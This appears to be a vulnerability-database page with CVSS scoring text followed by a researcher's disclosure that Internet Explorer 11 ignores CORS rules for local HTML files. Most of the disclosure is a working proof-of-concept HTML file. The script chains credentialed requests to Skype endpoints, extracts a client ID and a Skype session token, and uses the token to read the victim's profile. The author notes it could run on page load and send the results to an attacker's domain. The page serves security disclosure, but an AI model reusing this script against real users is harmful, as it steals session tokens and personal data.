The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
Low
A
There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.
Microsoft Internet Explorer 11 CORS DisrespectIE11 is not following CORS specification for local files like Chrome and Firefox.
I've contacted Microsoft and they say this is not a security issue so I'm sharing it.
>From my tests IE11 is not following CORS specifications for local files as supposed to be.
In order to prove I've created a malicious html file with the content below.
<html>
<script>
function createCORSRequest(method, url) {
var xhr = new XMLHttpRequest();
if ("withCredentials" in xhr) {
xhr.open(method, url, true);
} else if (typeof XDomainRequest != "undefined") {
xhr = new XDomainRequest();
xhr.open(method, url);
} else {
xhr = null;
}
return xhr;
}
function getClientID(text) {
return text.match('client_id:"([^"]*)",redirect_uri')[1];
}
function getToken(text) {
return text.match('<input type="hidden" name="skypetoken"
value="([^"]*)"/>')[1];
}
function makeCorsRequest() {
var url0 = 'https://s4w.cdn.skype.com/0-224-0/js/index.js';
var xhr0 = createCORSRequest('GET', url0 );
if (!xhr0) {
alert('CORS not supported');
return;
}
xhr0.withCredentials = true;
xhr0.onload = function() {
var text0 = xhr0.responseText;
var clientid = getClientID(text0);
alert('Client ID: ' + clientid);
var url1 = 'https://login.skype.com/login?client_id='+clientid+'&redirect_uri=https%3A%2F%2Fweb.skype.com%2F%3Fintcmp%3Daccountweb-_-uktrybeta';
var xhr1 = createCORSRequest('GET', url1);
if (!xhr1) {
alert('CORS not supported');
return;
}
xhr1.withCredentials = true;
xhr1.onload = function() {
var text1 = xhr1.responseText;
var token = getToken(text1);
alert('Skype Token: ' + token);
var url2 = 'https://api.skype.com/users/self/profile';
var xhr2 = createCORSRequest('GET', url2);
if (!xhr2) {
alert('CORS not supported');
return;
}
xhr2.withCredentials = true;
xhr2.setRequestHeader("X-Skypetoken", token);
xhr2.onload = function() {
var text2 = xhr2.responseText;
alert('User Profile: ' + text2);
};
xhr2.onerror = function() {
alert('Woops, there was an error making the request.');
};
xhr2.send();
};
xhr1.onerror = function() {
alert('Woops, there was an error making the request.');
};
xhr1.send();
};
xhr0.onerror = function() {
alert('Woops, there was an error making the request.');
};
xhr0.send();
}
</script>
<body>
<button onclick="makeCorsRequest()">Click me</button>
</body>
</html>
The file above will be able to get an skype token and perform get on
the user profile. Instead of using alert() function I could send this
information to a domain that I have control.
Of course the victim needs to open the file from his local drive or
maybe another application can open an IE instance.
If the user is logged on a Microsoft account and open the html file
with the content above with onload function instead of onclick I'd be
able to get his profile data.
This is a simple scenario. An attacker would be able to get any data
from any domain that do not require a unique ID (e.g. CSRF token)
which the attacker doesn't have and is unable to get.
If you do the same test on Chrome or Firefox the browser will follow
CORS specification and block the response content since no CORS
headers is present in the response.
I tested on IE11 running on Win7SP1 with all security patches and it
worked. On Win10 didn't work. I didn't test in any server with CORS
enabled.
If you think in another malicious scenario please let me know.
Thanks!
Ricardo Iramar
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum